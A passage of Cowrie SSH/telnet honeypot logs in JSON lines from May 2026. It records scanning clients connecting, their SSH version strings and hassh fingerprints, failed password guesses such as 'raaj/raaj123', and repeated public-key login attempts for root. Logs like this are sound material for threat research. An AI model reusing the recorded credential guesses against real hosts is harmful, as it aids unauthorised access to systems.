{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:19.815485Z","src_ip":"103.75.199.4","session":"9693ae3203cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.333757877349854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:29.635478Z","src_ip":"132.148.22.172","session":"65ec78e39af4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.37.143","src_port":38306,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6acd13efced","protocol":"ssh","message":"New connection: 78.40.37.143:38306 (10.17.0.5:22) [session: c6acd13efced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:33.265303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:33.269772Z","src_ip":"78.40.37.143","session":"c6acd13efced","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:33.350165Z","src_ip":"78.40.37.143","session":"c6acd13efced","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fecjl1yg","password":"3sScGbQLYlTZvYdQqsZA","message":"login attempt [fecjl1yg/3sScGbQLYlTZvYdQqsZA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:33.700876Z","src_ip":"78.40.37.143","session":"c6acd13efced","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:34.783062Z","src_ip":"78.40.37.143","session":"c6acd13efced","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.187.176.160","src_port":15156,"dst_ip":"159.203.135.109","dst_port":22,"session":"577f479a2e71","protocol":"ssh","message":"New connection: 194.187.176.160:15156 (159.203.135.109:22) [session: 577f479a2e71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:39.081884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:39.086374Z","src_ip":"194.187.176.160","session":"577f479a2e71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:39.185713Z","src_ip":"194.187.176.160","session":"577f479a2e71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:39.484187Z","src_ip":"194.187.176.160","session":"577f479a2e71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":55882,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4f6a7331ecc","protocol":"ssh","message":"New connection: 103.75.199.4:55882 (159.203.135.109:22) [session: d4f6a7331ecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:40.348082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:40.351795Z","src_ip":"103.75.199.4","session":"d4f6a7331ecc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:40.446782Z","src_ip":"103.75.199.4","session":"d4f6a7331ecc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raaj","password":"raaj123","message":"login attempt [raaj/raaj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:40.731836Z","src_ip":"103.75.199.4","session":"d4f6a7331ecc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:41.829790Z","src_ip":"103.75.199.4","session":"d4f6a7331ecc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.172.80.207","src_port":38314,"dst_ip":"10.17.0.5","dst_port":22,"session":"0400a921e4bd","protocol":"ssh","message":"New connection: 107.172.80.207:38314 (10.17.0.5:22) [session: 0400a921e4bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:45.210663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:45.221071Z","src_ip":"107.172.80.207","session":"0400a921e4bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:45.327905Z","src_ip":"107.172.80.207","session":"0400a921e4bd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:36:fa:50:e0:41:ff:2b:44:f1:1e:b6:d5:19:e2:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/1EW9K8/ibdnOBBrkepECldeQv0glGL5S3S1kmfq/KM16tm+Z5ftcEwkOkM9mfzv80LpPKiueLg8V0FToM2xHdnLRz0lzHedhTtgI31Yd0LJZpc/0dTVNlH62zGaACzXkDQF3taerfzjzAfQ2IC8Y2TRsVV9qgcWL1g7lkQue6+k6taK7fL2GJbvf3+ui6PNKxwLcr4w8hUaDiCEuqTMVz4FSWpDiVvb2O+A4lwcsqeG4zNrXbALpHQ3nGf3IEKCz9/m7GZRAsU0sK29tjw4YoyYZllO5VPjNDdxAdwqPqMfD5S991Fubk6YQrhes4zqYvgGHYrJi4QbTZ6bxipcb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:36:fa:50:e0:41:ff:2b:44:f1:1e:b6:d5:19:e2:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:45.639112Z","src_ip":"107.172.80.207","session":"0400a921e4bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:36:fa:50:e0:41:ff:2b:44:f1:1e:b6:d5:19:e2:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/1EW9K8/ibdnOBBrkepECldeQv0glGL5S3S1kmfq/KM16tm+Z5ftcEwkOkM9mfzv80LpPKiueLg8V0FToM2xHdnLRz0lzHedhTtgI31Yd0LJZpc/0dTVNlH62zGaACzXkDQF3taerfzjzAfQ2IC8Y2TRsVV9qgcWL1g7lkQue6+k6taK7fL2GJbvf3+ui6PNKxwLcr4w8hUaDiCEuqTMVz4FSWpDiVvb2O+A4lwcsqeG4zNrXbALpHQ3nGf3IEKCz9/m7GZRAsU0sK29tjw4YoyYZllO5VPjNDdxAdwqPqMfD5S991Fubk6YQrhes4zqYvgGHYrJi4QbTZ6bxipcb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:45.643238Z","src_ip":"107.172.80.207","session":"0400a921e4bd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:88:e8:86:b6:0c:43:49:30:ce:5e:0d:fd:33:ea:7e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJc6PpsXAOwwris3x7Ppy3plth92s4JdzfKbUkwaPY+A","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 89:88:e8:86:b6:0c:43:49:30:ce:5e:0d:fd:33:ea:7e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:45.671597Z","src_ip":"107.172.80.207","session":"0400a921e4bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:88:e8:86:b6:0c:43:49:30:ce:5e:0d:fd:33:ea:7e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJc6PpsXAOwwris3x7Ppy3plth92s4JdzfKbUkwaPY+A","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:45.675588Z","src_ip":"107.172.80.207","session":"0400a921e4bd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f4:06:16:53:d8:2f:8b:b1:7e:9c:b6:6d:00:7a:66:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdTMfa4Um3adTjKCm98vnIork1N/ywgq1GhDyLDWL7qQrBh+kTvu39cLNEIH1inTS80687jhjG7s89A8P/C3FO+tHSLLQQliQUxiKWgFptzmHfCMOY7NJmFNMYRhTRhkzOVIIEoNEuIUZ6AMIeam3gsYab9Thrr6zw8AKf+dAlAJYH4UhXnPuLr5g3szaW+Kk6DUuq3/Gsfk31oMTNDaPjwaV021SuZMkEM+uUClVbFU2sGh1r1Wgf/KFYCWHtEgtFFwHKF+BVILTG/gQ7GQJ+xB3Lkj8CQpUdqGrPLQbLt4bliQmLYOI5/Es520bzYcjc9rixUUCwt+Y7auzxUJvF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f4:06:16:53:d8:2f:8b:b1:7e:9c:b6:6d:00:7a:66:92","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:45.697896Z","src_ip":"107.172.80.207","session":"0400a921e4bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f4:06:16:53:d8:2f:8b:b1:7e:9c:b6:6d:00:7a:66:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdTMfa4Um3adTjKCm98vnIork1N/ywgq1GhDyLDWL7qQrBh+kTvu39cLNEIH1inTS80687jhjG7s89A8P/C3FO+tHSLLQQliQUxiKWgFptzmHfCMOY7NJmFNMYRhTRhkzOVIIEoNEuIUZ6AMIeam3gsYab9Thrr6zw8AKf+dAlAJYH4UhXnPuLr5g3szaW+Kk6DUuq3/Gsfk31oMTNDaPjwaV021SuZMkEM+uUClVbFU2sGh1r1Wgf/KFYCWHtEgtFFwHKF+BVILTG/gQ7GQJ+xB3Lkj8CQpUdqGrPLQbLt4bliQmLYOI5/Es520bzYcjc9rixUUCwt+Y7auzxUJvF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:45.703072Z","src_ip":"107.172.80.207","session":"0400a921e4bd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:db:73:f3:17:75:eb:78:75:f7:e4:fb:92:cd:b1:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClEspHzhc6yHDH2pYtxjKVu2ouc26gIEmdlHAxRsPt1SgHY8aAGQW26e/F9aL3yJBoM4AZyGyqFRwXanLL6S5vD0PFLINfyozB6tqrSG2Lg4LYHxiL6rDqcHQ2+31mCLj5Q5p7rjcEmwcdxS+UUzD0L+5/ZBbuYMNJNC4v6IfoshN/iLW+e2w0Y5kfnLv6mQBYaBIYBTuqokxNO3nIGD/0QGx3HZoQaF7V+d98+ESJ3kkQf3Xb/JZEGAvaNsVRxjNA1ZHLYbwFhSsVIwBbaLmcCHAum6GGib5+wFfk62WuLIlwcoFggXrOm1uApv5/hXlsmUYNbhHeNtAAfwdWxKqAlcDMZYo/+2sjK87MGueCX2nWQ0kIu+eLbTue3A3AI0H57ym1QISJqFRSOVfn02LR3ZTiuyQIzs2x22R7ti+VTU11KrQIpQ0meOlCwiGfwXDn/YW5I2AD0KnPJQfnETpuIwYsgb42HVP4tm1i8ClEN5aEGHzYuZbWj89R0f/99/qDzUboVSI8pyK9//o6jowWMy56cdfMz2dd/TGTwz5DeSP056S5clRnJOFmKufQrAXehtssA2My2Rf3kN5rsn1nGx53JtZSu2ij1Yxn694mVAcF0HU38BExu+DVBIfzbKX2RsnYxMbYLQzs/6Hu4+mYBFKuyA5SE/dUsbTYjlGLqw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cf:db:73:f3:17:75:eb:78:75:f7:e4:fb:92:cd:b1:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:45.730321Z","src_ip":"107.172.80.207","session":"0400a921e4bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:db:73:f3:17:75:eb:78:75:f7:e4:fb:92:cd:b1:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClEspHzhc6yHDH2pYtxjKVu2ouc26gIEmdlHAxRsPt1SgHY8aAGQW26e/F9aL3yJBoM4AZyGyqFRwXanLL6S5vD0PFLINfyozB6tqrSG2Lg4LYHxiL6rDqcHQ2+31mCLj5Q5p7rjcEmwcdxS+UUzD0L+5/ZBbuYMNJNC4v6IfoshN/iLW+e2w0Y5kfnLv6mQBYaBIYBTuqokxNO3nIGD/0QGx3HZoQaF7V+d98+ESJ3kkQf3Xb/JZEGAvaNsVRxjNA1ZHLYbwFhSsVIwBbaLmcCHAum6GGib5+wFfk62WuLIlwcoFggXrOm1uApv5/hXlsmUYNbhHeNtAAfwdWxKqAlcDMZYo/+2sjK87MGueCX2nWQ0kIu+eLbTue3A3AI0H57ym1QISJqFRSOVfn02LR3ZTiuyQIzs2x22R7ti+VTU11KrQIpQ0meOlCwiGfwXDn/YW5I2AD0KnPJQfnETpuIwYsgb42HVP4tm1i8ClEN5aEGHzYuZbWj89R0f/99/qDzUboVSI8pyK9//o6jowWMy56cdfMz2dd/TGTwz5DeSP056S5clRnJOFmKufQrAXehtssA2My2Rf3kN5rsn1nGx53JtZSu2ij1Yxn694mVAcF0HU38BExu+DVBIfzbKX2RsnYxMbYLQzs/6Hu4+mYBFKuyA5SE/dUsbTYjlGLqw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:45.733965Z","src_ip":"107.172.80.207","session":"0400a921e4bd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:60:9c:62:f0:b1:81:6b:99:51:e2:d6:b8:92:3b:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDG56zyUjCWFhawJkqevsLT4VX7kRPgaTxhPOy9HvBII6xRdhLRLVN7c1EVPATaHmkoQ6Lz0mD4BFc7JXpEctURM4l8rhc+Ql4DWd4JMFQ9uLb00TKBsFk+hWEIYrx5kOvEv3I0TX7beFZMk/DM+c302pfj8tRTMVXppAOAV5GZGIA2sohpYcv8QKyYlWtqzanECi9AB07IhVqxMgczRxmtvNTqEXKTEFzFkkBvDrkkNvhejM5HeCKLJvFfDvZgPocF3AVFEUG0U/CH+vx7efsMIFEFhStZuKwlUFA/knZKPsfYC+ZcnVVL3dReMaJX61ZSxfZe+L6O0h8NK74g6mOwu7EBLHGeXhosq+Sw1mBz1XeRPILBadwxeSGlrfHCQzOMbaDjL5R5UcXCkAfE8o+GKX6Z3KtKp0itztC7UGV2ziDTFWrL3ATPo6yGDn9JA+QcUhw69FKOTK/hZ+OZSfuhjZy8RXwmyFVLJC5kRAgNeY8DZaZfiuW+pJ/vdF1MIgLiAO3IuUfdTHUAl0Tty9DrhyjYBAzAMQ5npdq/uaNo56YCXHLFGwrDgaWTfRwLZVU3gqqxv4di/L83nvwNAK8v2rSrhjHK/99qxlyJWyOM88Sw8TQ4gIT7MSw67pXDuirsj1a4ZzLqxJ8cnXa4cnlD4JvgzJ0DSYKLnr4ayyAlyw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:60:9c:62:f0:b1:81:6b:99:51:e2:d6:b8:92:3b:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:45.755684Z","src_ip":"107.172.80.207","session":"0400a921e4bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:60:9c:62:f0:b1:81:6b:99:51:e2:d6:b8:92:3b:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDG56zyUjCWFhawJkqevsLT4VX7kRPgaTxhPOy9HvBII6xRdhLRLVN7c1EVPATaHmkoQ6Lz0mD4BFc7JXpEctURM4l8rhc+Ql4DWd4JMFQ9uLb00TKBsFk+hWEIYrx5kOvEv3I0TX7beFZMk/DM+c302pfj8tRTMVXppAOAV5GZGIA2sohpYcv8QKyYlWtqzanECi9AB07IhVqxMgczRxmtvNTqEXKTEFzFkkBvDrkkNvhejM5HeCKLJvFfDvZgPocF3AVFEUG0U/CH+vx7efsMIFEFhStZuKwlUFA/knZKPsfYC+ZcnVVL3dReMaJX61ZSxfZe+L6O0h8NK74g6mOwu7EBLHGeXhosq+Sw1mBz1XeRPILBadwxeSGlrfHCQzOMbaDjL5R5UcXCkAfE8o+GKX6Z3KtKp0itztC7UGV2ziDTFWrL3ATPo6yGDn9JA+QcUhw69FKOTK/hZ+OZSfuhjZy8RXwmyFVLJC5kRAgNeY8DZaZfiuW+pJ/vdF1MIgLiAO3IuUfdTHUAl0Tty9DrhyjYBAzAMQ5npdq/uaNo56YCXHLFGwrDgaWTfRwLZVU3gqqxv4di/L83nvwNAK8v2rSrhjHK/99qxlyJWyOM88Sw8TQ4gIT7MSw67pXDuirsj1a4ZzLqxJ8cnXa4cnlD4JvgzJ0DSYKLnr4ayyAlyw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:45.759249Z","src_ip":"107.172.80.207","session":"0400a921e4bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:45.782835Z","src_ip":"107.172.80.207","session":"0400a921e4bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":62616,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a6e4d6cf418","protocol":"ssh","message":"New connection: 2.57.121.112:62616 (10.17.0.5:22) [session: 2a6e4d6cf418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:54.910555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:32:54.916110Z","src_ip":"2.57.121.112","session":"2a6e4d6cf418","protocol":"ssh"}
